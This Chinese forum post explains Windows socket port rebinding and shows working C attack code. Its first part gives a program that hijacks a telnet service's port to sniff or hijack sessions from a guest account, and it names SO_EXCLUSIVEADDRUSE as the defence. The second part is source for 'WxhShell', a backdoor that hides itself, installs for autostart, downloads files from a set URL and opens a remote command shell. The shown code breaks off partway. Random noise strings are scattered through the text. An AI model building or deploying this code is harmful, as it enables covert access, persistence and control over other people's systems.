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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cG_Vc[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jDX>izg;V  
(s&&>M]r_  
  saddr.sin_family = AF_INET; ?\y%]1  
|<c WllN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X{Zm9T  
B(,:haAr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ue\t,*KYd  
!%[S49s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^B]@Lr E^  
NBOCt)C;H  
  这意味着什么?意味着可以进行如下的攻击: Ch5+N6c^  
fYX<d%?7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +}JM&bfK  
76@qHTh }  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H=~9CJ+tc  
(MLhaux-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +@:L|uFU  
OfZN|S+~W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -6C +LbV  
r,NgG!zq<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L0"~[zB]N  
(CE7j<j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 MKg,!TELe  
t'(1I|7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [po "To  
PJ\0JR7a  
  #include 5o 0Ch  
  #include |"Z{I3Umg  
  #include Tv$sqVe9  
  #include    sWqM?2g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \#Up|u:  
  int main() rx!=q8=0R  
  { |FNCXlgZ  
  WORD wVersionRequested; QG3&p<  
  DWORD ret; ^%<pJMgdF  
  WSADATA wsaData; :dnJY%/q  
  BOOL val; VaLs`q&3>  
  SOCKADDR_IN saddr; -x*2t;%z{U  
  SOCKADDR_IN scaddr; o\=n4;S  
  int err; Xm!-~n@-m7  
  SOCKET s; Wf26  
  SOCKET sc; |ys0`Vb=$  
  int caddsize; NXk!qGV2  
  HANDLE mt; p,W_'?,9  
  DWORD tid;   :d,^I@]  
  wVersionRequested = MAKEWORD( 2, 2 ); 0L-!! c3  
  err = WSAStartup( wVersionRequested, &wsaData ); 5iX! lAFJ  
  if ( err != 0 ) { ~)]} 91p  
  printf("error!WSAStartup failed!\n"); 1vevEa$  
  return -1; ULqoCd%bK  
  } =xN= #  
  saddr.sin_family = AF_INET; {2KFD\i\  
   %D=]ZV](  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Dr#c)P~Wd  
8Ogv9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~mp0B9L%  
  saddr.sin_port = htons(23); <V&5P3)d9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5Av=3[kh"%  
  { :k=mzO<&  
  printf("error!socket failed!\n"); @{HrJ/4%:&  
  return -1; aUopNmN  
  } vqdX^m^PY  
  val = TRUE; I PCGt{B~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \XzM^K3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _^ |2}t  
  { [k%4eO2p"  
  printf("error!setsockopt failed!\n"); 4=<*Vd`p  
  return -1; [ .,>wo~  
  } LlYTv% I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 83Ou9E!W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }"s;\?a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gFN 9jM  
uaPx"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^TdZ*($5  
  { ~N0 sJ%  
  ret=GetLastError(); V!/:53  
  printf("error!bind failed!\n"); z8_XX$Mnt  
  return -1; Ctu?o+^;z  
  } ~qP[eWe  
  listen(s,2); 5<YzalNf  
  while(1) @'2m$a  
  { mI1H!  
  caddsize = sizeof(scaddr); 5"KlRuv%  
  //接受连接请求 >l5$9wO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _2ef LjXQ  
  if(sc!=INVALID_SOCKET) )xU-;z0"~  
  { eVh - _  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); # TkR  
  if(mt==NULL) 3251Vq %  
  { 0#p/A^\#7M  
  printf("Thread Creat Failed!\n"); 19e8  
  break; #s5N[uK^m  
  } rRFAD{5)  
  } olux6RP[B  
  CloseHandle(mt); }?8uH/+ZA  
  } v $({C  
  closesocket(s); \3YO<E!t  
  WSACleanup(); 'fd1Pj9~$  
  return 0; aptY6lGv-|  
  }   ;3'NMk  
  DWORD WINAPI ClientThread(LPVOID lpParam) |AZW9  
  { mh/n.*E7  
  SOCKET ss = (SOCKET)lpParam; 4Ft1@  
  SOCKET sc; i'/m4 !>h  
  unsigned char buf[4096]; 5`+5{p  
  SOCKADDR_IN saddr; ~%k?L4%  
  long num; ~p1EF;4#  
  DWORD val; X@2-*so<  
  DWORD ret; J;Rv ~<7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Zo-$z8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   },$0&/>ft  
  saddr.sin_family = AF_INET; g{k1&|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kma?v B  
  saddr.sin_port = htons(23); lEjwgk {  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JH,/jR  
  { [I*! lbt  
  printf("error!socket failed!\n"); m` AK~O2  
  return -1; gxNL_(A  
  } [tT8_}v$LN  
  val = 100; qQ[b VD\*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V<Z'(UI  
  { -T@`hk`  
  ret = GetLastError(); ~EiH-z4U  
  return -1; n||A" @b\  
  } ?i\;:<e4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uYI@ 9U  
  { y^>Q/H\  
  ret = GetLastError(); )=pD%$iq  
  return -1; 6]cryf&b  
  } hS [SRa'.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) . RVVWqW  
  { &n2e  
  printf("error!socket connect failed!\n"); +FG$x/\*0  
  closesocket(sc); w42OF7f  
  closesocket(ss); ;zTuKex~  
  return -1; AEirj /  
  } "d/s5sP|S  
  while(1) jR ~DToQ  
  { !v|ISyK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &jA\hg#9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gwkb!#A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;E;To\NCYF  
  num = recv(ss,buf,4096,0); ^y.nDs%ZT7  
  if(num>0) C2U~=q>>  
  send(sc,buf,num,0); gApoX0nrv  
  else if(num==0) `bI)<B  
  break; 5FKBv e@  
  num = recv(sc,buf,4096,0); Z [Xa%~5>5  
  if(num>0) ~^I> #Dd  
  send(ss,buf,num,0); #^#Kcg  
  else if(num==0) [onqNp  
  break; BbOu/i|  
  } or*HC&c7  
  closesocket(ss); =v~1qWX  
  closesocket(sc); kTIYD o  
  return 0 ; +%>:0mT  
  } n^(A=G  
km5~Gc}  
qNgd33u1  
========================================================== &[R8Q|1 j  
WKM)*@#,  
下边附上一个代码,,WXhSHELL qem(s</:  
!cW[G/W8  
========================================================== P,pnga3Wu  
l3o#@sz:  
#include "stdafx.h" .lG5=Th!  
R0Ue0pF7  
#include <stdio.h> H[Q_hY[>V  
#include <string.h> ^H'a4G3  
#include <windows.h> Tpp&  
#include <winsock2.h> a~LC+8|JW  
#include <winsvc.h> GyI-)Bl DC  
#include <urlmon.h> :,pSWfK H  
5r {;CKKz  
#pragma comment (lib, "Ws2_32.lib") ,1{Ep`  
#pragma comment (lib, "urlmon.lib") gYop--\14]  
ygZ  #y L  
#define MAX_USER   100 // 最大客户端连接数 V,v[y\  
#define BUF_SOCK   200 // sock buffer U!5)5c}G  
#define KEY_BUFF   255 // 输入 buffer neF]=uCWnT  
bF}V4"d,B3  
#define REBOOT     0   // 重启 `<"m%>  
#define SHUTDOWN   1   // 关机 9Mm!%Hu  
yR~-k?7b  
#define DEF_PORT   5000 // 监听端口 Z(0@1l`Z-`  
.y5,x\Pq(  
#define REG_LEN     16   // 注册表键长度 ._:nw=Y0<}  
#define SVC_LEN     80   // NT服务名长度 g&/p*c_  
" K*  
// 从dll定义API JOn yrks  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hv$yV%.`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %WFu<^jm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $3+PbYY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I8   
%~ |HFYd  
// wxhshell配置信息 G28O%jD?  
struct WSCFG { 5 x2Ay=s  
  int ws_port;         // 监听端口 ~q +[<xR\  
  char ws_passstr[REG_LEN]; // 口令 :7N3N  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8 (jUe  
  char ws_regname[REG_LEN]; // 注册表键名 4B+9z^oQ  
  char ws_svcname[REG_LEN]; // 服务名 CDy^UQb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $WQq? 1.9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TB6m0qX(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >"3>s%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #S g\q8(O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;)0w:Zn/[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a)-FG P^  
o6kNx>tc)  
}; _+f+`]iM  
6"j_iB  
// default Wxhshell configuration cvsz%:Vs  
struct WSCFG wscfg={DEF_PORT, iP~,n8W  
    "xuhuanlingzhe", Zc& &[g  
    1, ER&UBUu"  
    "Wxhshell", SJ' % ^  
    "Wxhshell", gW(gJ; L,%  
            "WxhShell Service", jZfx Jm  
    "Wrsky Windows CmdShell Service", c2SC|s]  
    "Please Input Your Password: ", T".]m7!  
  1, I{0 k  
  "http://www.wrsky.com/wxhshell.exe", 8U2dcx:G3  
  "Wxhshell.exe" kQdt}o])  
    }; {-zMHVw=}  
Nw J:!  
// 消息定义模块 1pp -=$k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l":c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r~[vaQQ6L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cRvvzX  
char *msg_ws_ext="\n\rExit."; 2R-A@UE2  
char *msg_ws_end="\n\rQuit."; Tq<2`*Qs  
char *msg_ws_boot="\n\rReboot..."; ihL/n  
char *msg_ws_poff="\n\rShutdown..."; @* 1U{`  
char *msg_ws_down="\n\rSave to "; TrVWv  
~IVd vm7  
char *msg_ws_err="\n\rErr!"; =x#FbvV  
char *msg_ws_ok="\n\rOK!"; Y[ reD  
H!e 3~+)  
char ExeFile[MAX_PATH]; >PKBo  
int nUser = 0; 7;`o( [N  
HANDLE handles[MAX_USER]; u}hF8eD  
int OsIsNt; Die-@z|Y  
+WJ(QZEhD  
SERVICE_STATUS       serviceStatus; "pxzntY|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c2l_$p  
2pHR_mrb  
// 函数声明 z~6y+  
int Install(void); EfLO5$?rm  
int Uninstall(void); ]6Ug>>x5  
int DownloadFile(char *sURL, SOCKET wsh); E&$_`m;  
int Boot(int flag); ]T! }XXK  
void HideProc(void); *TW=/+j  
int GetOsVer(void); ;Z[]{SQ  
int Wxhshell(SOCKET wsl); 59uwB('|lH  
void TalkWithClient(void *cs); wJb#g0  
int CmdShell(SOCKET sock); pV p:@0h  
int StartFromService(void); {'+Q H)w(  
int StartWxhshell(LPSTR lpCmdLine); 1&=0Wg0ig  
eg+!*>GaX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N<|$h5isq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _GQz!YA  
p4>$z& _  
// 数据结构和表定义 O^>jdl!TZ  
SERVICE_TABLE_ENTRY DispatchTable[] = %b.UPS@I  
{ 7)rWw<mY  
{wscfg.ws_svcname, NTServiceMain}, FxG7Pk+=  
{NULL, NULL} *="8?Z  
}; UAF<m1  
[36,eK  
// 自我安装 .Jb$l$5'w  
int Install(void) Dz=k7zRg"  
{ fJ*:{48  
  char svExeFile[MAX_PATH]; iyZZ}M  
  HKEY key; x Ha=3n  
  strcpy(svExeFile,ExeFile); nq} Q  
EY`H}S!xy  
// 如果是win9x系统,修改注册表设为自启动 9ILIEm:  
if(!OsIsNt) { E{xVc;t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6< J #^ 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a>4uiFiv  
  RegCloseKey(key); ?i\B^uB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >>[/UFC)n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QlFZO4 P3|  
  RegCloseKey(key); O/%< }3Sq  
  return 0; L gmvKW|  
    } k@>\LR/v  
  } -37a.  
} OkAK  
else { $$i. O}  
u/b7Z`yX}  
// 如果是NT以上系统,安装为系统服务 31^cz*V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X C86-b)E  
if (schSCManager!=0) F1;lQA*7K.  
{ 3T\l]? z  
  SC_HANDLE schService = CreateService `"yxdlXA  
  ( y #f QPR  
  schSCManager, :_<_[Y]1  
  wscfg.ws_svcname, ukgAI<O%  
  wscfg.ws_svcdisp, _eSd nHWx  
  SERVICE_ALL_ACCESS, 80}+MWdo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "}WJd$  
  SERVICE_AUTO_START, o 6{\Zzp  
  SERVICE_ERROR_NORMAL, [@ <sFP;g  
  svExeFile, yAT^VRbv  
  NULL, s6*ilq1  
  NULL, RhI;;Y#@  
  NULL,  v7  
  NULL, RT/o$$  
  NULL oq/G`{`\  
  ); gC%G;-gm  
  if (schService!=0) Agh`]XQ2  
  { )O+}T5c=  
  CloseServiceHandle(schService); kB:Uu }(=N  
  CloseServiceHandle(schSCManager); S 6,4PP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r'LVa6e"N  
  strcat(svExeFile,wscfg.ws_svcname); 6\7nc FO3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h/eR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ql{(Lf$  
  RegCloseKey(key); Xy,lA4IP  
  return 0; Bm$"WbOq*R  
    } 'z@0  
  } c'6g*%2k  
  CloseServiceHandle(schSCManager); mpC`Yk  
} {U]H;~3 ?  
} E9\vA*a  
gwrYLZNGI  
return 1; l5%G'1w#,j  
} ]=rht9),"  
x_=n-lAF  
// 自我卸载 0<"k8 k@J  
int Uninstall(void) J2q,7wI#  
{ ,H}_%}10  
  HKEY key; [AH6~-\x  
Sgim3):Z  
if(!OsIsNt) { _iKq~\v2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6%`&+Lq  
  RegDeleteValue(key,wscfg.ws_regname); 'C$XS>S  
  RegCloseKey(key); #1c]PX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vr#+0:|  
  RegDeleteValue(key,wscfg.ws_regname); -&82$mj  
  RegCloseKey(key); T J^u"j-'  
  return 0; dF0,Y?  
  } Xdi:1wW@p  
} j.~!dh$mg  
} i"zuil  
else { g 6]epp[8  
{^CT} \=>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sb:d>6  
if (schSCManager!=0) U<"WK"SM  
{ gK#mPcn^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EcIE~qs  
  if (schService!=0) t$2_xX  
  { K]/4qH$:  
  if(DeleteService(schService)!=0) { )m6M9eC  
  CloseServiceHandle(schService); @uo ~nFj,  
  CloseServiceHandle(schSCManager); Yw5'6NU  
  return 0; -yxOBq  
  } ~pa!w?/bQ  
  CloseServiceHandle(schService); jA".r'D%  
  } YDC mI@  
  CloseServiceHandle(schSCManager); _AV1WS;^^8  
} _0+0#! J!  
} !$2Z-!  
&aM7T_h8  
return 1; ,F&g5'  
} tg^sCxz9]  
RMO,ZVq  
// 从指定url下载文件 #T`t79*N  
int DownloadFile(char *sURL, SOCKET wsh) 8x`.26p  
{ xI ,2LGO  
  HRESULT hr; ys_`e  
char seps[]= "/"; B1]bRxwn?  
char *token;  zYXV;  
char *file; R1&unm0  
char myURL[MAX_PATH]; r&-m=Kk$  
char myFILE[MAX_PATH]; B?VhIP e  
<2C7<7{7  
strcpy(myURL,sURL); NM)k/?fA  
  token=strtok(myURL,seps); kyR*D1N&)  
  while(token!=NULL) TW !&p"Us+  
  { No2b" G@  
    file=token; t1E[uu,V8  
  token=strtok(NULL,seps); 6c0>gUQx-  
  } /0\ mx4u  
w[P4&?2:  
GetCurrentDirectory(MAX_PATH,myFILE); f#ri'&}c :  
strcat(myFILE, "\\"); 0"~i ^   
strcat(myFILE, file); "~TA SX_?  
  send(wsh,myFILE,strlen(myFILE),0); ? ` SUQm  
send(wsh,"...",3,0); \uss Uv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S/;bU :  
  if(hr==S_OK) y qtKy  
return 0; o\vBOp?hj  
else j,]Y$B  
return 1; +{sqcr1G  
s/089jlc  
} {Ay"bjZh  
P2 Vg4   
// 系统电源模块 s+tGFjq  
int Boot(int flag) q -8t'7  
{ 3Hf0MAt  
  HANDLE hToken; .s$z/Jv  
  TOKEN_PRIVILEGES tkp; D7_*k%;@  
8,dBl!G=  
  if(OsIsNt) { $XoQ]}"O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A 7[:5$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ftH:r_"O#  
    tkp.PrivilegeCount = 1; U*.0XNKp{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sna4wkbS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;# Q%j%J  
if(flag==REBOOT) { cX3lt5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6;b~Ht  
  return 0; L5MzLE&~  
} F-6c_!  
else { F2X0%te  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'uy/o)L  
  return 0; HV<Lf 6gE  
} 4j)tfhwd8  
  } Dc)dE2  
  else { (Cq n6 dWK  
if(flag==REBOOT) { r&FDEBh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Yw0[[N<SW  
  return 0; 4*$G & TX  
} e1P"[|9>R  
else { 7g3 >jh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;J7F J3n  
  return 0; o=`C<}  
} jlxpt)0i  
} 2 3gPbtq/  
.9.2Be  
return 1;  W%\C_  
} ~g.$|^,.O/  
}V\N16f  
// win9x进程隐藏模块 -lv)tHs<  
void HideProc(void) T1H"\+  
{ -IV]U*4  
zl`h~}I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mkR2i>  
  if ( hKernel != NULL ) iTaWup  
  { W6Y@U$P#G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D+>1]ij  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0 iJue &  
    FreeLibrary(hKernel); |ZQ@fmvL/p  
  } X]'7Ov  
x#:| }pR  
return; "^Ybs'-  
} G+F: 99A  
!^ _ "~  
// 获取操作系统版本 Q`D_|L  
int GetOsVer(void) ?R$&Xe!5  
{ "!EcbR  
  OSVERSIONINFO winfo; G%Lt.?m[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3)RsLI9  
  GetVersionEx(&winfo); [pM V?a[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nr=d<Us9f  
  return 1; 7sXxq4  
  else > %KuNy{  
  return 0; +}a ]GTBgA  
} 1</kTm/Qa  
8}(]]ayl  
// 客户端句柄模块 _l1NKk  
int Wxhshell(SOCKET wsl) 9`9R!=NM  
{ 5+wAzVA  
  SOCKET wsh; Cn[0(s6  
  struct sockaddr_in client; M4W5f#C5Ee  
  DWORD myID; y  TDNNK  
Kde9 $  
  while(nUser<MAX_USER) 3@]SKfoo1  
{ >i6yl5s  
  int nSize=sizeof(client); 9WR6!.y#f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p*P)KP  
  if(wsh==INVALID_SOCKET) return 1; &/Q0  
u#@Q:tnN_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yR\btx|e5~  
if(handles[nUser]==0) pf7it5  
  closesocket(wsh); cSm%s  
else =3v]gOcO  
  nUser++; >_LDMs[-p  
  } ?pza G{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6!(@@^7{*  
WH \)) y-  
  return 0; k Zq!&  
} .?hP7;hhI  
$-*!pRaVU  
// 关闭 socket y?q*WUh  
void CloseIt(SOCKET wsh) }:~x7|~s:  
{ :dqn h  
closesocket(wsh); :]1 TGfS  
nUser--; 2Roc|)-47  
ExitThread(0); Kp,M"Y  
} -Zz$~$  
_Wa. JUbv  
// 客户端请求句柄 (/j); oSK  
void TalkWithClient(void *cs) W!&vul5  
{ qC?:*CXH  
t0T"@t#c  
  SOCKET wsh=(SOCKET)cs; HF.^ysI  
  char pwd[SVC_LEN]; go<W( ,O  
  char cmd[KEY_BUFF]; ]]wA[c~G  
char chr[1]; |a!fhl+  
int i,j; Bb"Bg\le,^  
S9",d~EM  
  while (nUser < MAX_USER) { #"5 Dk#@  
i?F >+  
if(wscfg.ws_passstr) { _\GC(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =Fr(9 (  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i|m3mcI%2  
  //ZeroMemory(pwd,KEY_BUFF); 6Avw-}.7>  
      i=0; E!P yL>){  
  while(i<SVC_LEN) { UTH_^HAN#G  
7fba-7-P  
  // 设置超时 }-sdov<<  
  fd_set FdRead; 3z&Fi;<+j  
  struct timeval TimeOut; <"r#:Wr  
  FD_ZERO(&FdRead); N D2L_!g:(  
  FD_SET(wsh,&FdRead); /Dj=iBO  
  TimeOut.tv_sec=8; *=*AAF  
  TimeOut.tv_usec=0; OUNd@o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^cz(}N 6&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t>$kWd{9e;  
q CnZhJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wGP;Vbk  
  pwd=chr[0]; 6Z%U`,S  
  if(chr[0]==0xd || chr[0]==0xa) { sH[ROm  
  pwd=0; t?'!$6   
  break; ssN6M./6  
  }  _ "VkGG  
  i++; %Va!\#  
    } 1jF`5k  
csW43&  
  // 如果是非法用户,关闭 socket L=sYLC6d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nu?-0>  
} Tap.5jHL  
h9G RI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MfWyc_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T r1?620  
x}"uZ$g  
while(1) { S_IUV)  
= < oBgD0k  
  ZeroMemory(cmd,KEY_BUFF); F6{bjv2A  
]33>m|?@  
      // 自动支持客户端 telnet标准   $NZ-{dY{  
  j=0; Qh'ATo  
  while(j<KEY_BUFF) { @8pp EFw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .w8J*JZ  
  cmd[j]=chr[0]; m4l& eEp  
  if(chr[0]==0xa || chr[0]==0xd) { zIu E9l  
  cmd[j]=0; +N:o-9  
  break; }%_ b$  
  } 75/(??2  
  j++; 9E"vN  
    } Wg<(ms dj  
pw)||Q  
  // 下载文件 uJC~LC N  
  if(strstr(cmd,"http://")) { F.=2u"[*&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M$>1L  
  if(DownloadFile(cmd,wsh)) uYs5f.! `  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQ^E"Q,1  
  else 1Y7Eajt-5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %B5wH_p  
  } ?7.7`1m !v  
  else { c*L0@Ak%  
~l]ve,W[  
    switch(cmd[0]) { rMLp-aR'  
  jw^<IMAG\8  
  // 帮助 Wp!%-vzy&  
  case '?': { ZK@N5/H(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lFV N07hG  
    break; 0Tx{3#  
  } 1+jAz`nA:T  
  // 安装 pEIRh1  
  case 'i': { =E.t`x=  
    if(Install()) [BqHx5Xz(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }dWq=)*  
    else -xEXN[\S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ymx>i~>7J  
    break; )ttUWy$w  
    } N343qU  
  // 卸载 C9n?@D;S  
  case 'r': { *KV0%)}sbL  
    if(Uninstall()) LWz&YF#T-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V C24sU  
    else LYz.Ci}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QgU8 s'e  
    break; !'&n -Q  
    } E[@ u 3i8  
  // 显示 wxhshell 所在路径 Q@<S[Qh[.  
  case 'p': { Vzdh8)Mu\  
    char svExeFile[MAX_PATH]; \n8] M\<  
    strcpy(svExeFile,"\n\r"); [<g?WPCcC  
      strcat(svExeFile,ExeFile); jr /pj?  
        send(wsh,svExeFile,strlen(svExeFile),0); x7:s]<kE  
    break; C)@y5. G;  
    } cDFO;Dr  
  // 重启 %)|9E>fP]N  
  case 'b': { b F"G[pD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %,6#2X nX%  
    if(Boot(REBOOT)) EN;}$jZ>47  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K]s[5  
    else { ZUVA EH%  
    closesocket(wsh); '=nQ$/!q  
    ExitThread(0); \?0&0;5  
    } =vDEfO/T  
    break; !`g~F\l  
    } hyCh9YOu)  
  // 关机 }XV+gyG=@  
  case 'd': { #(#Wv?r6  
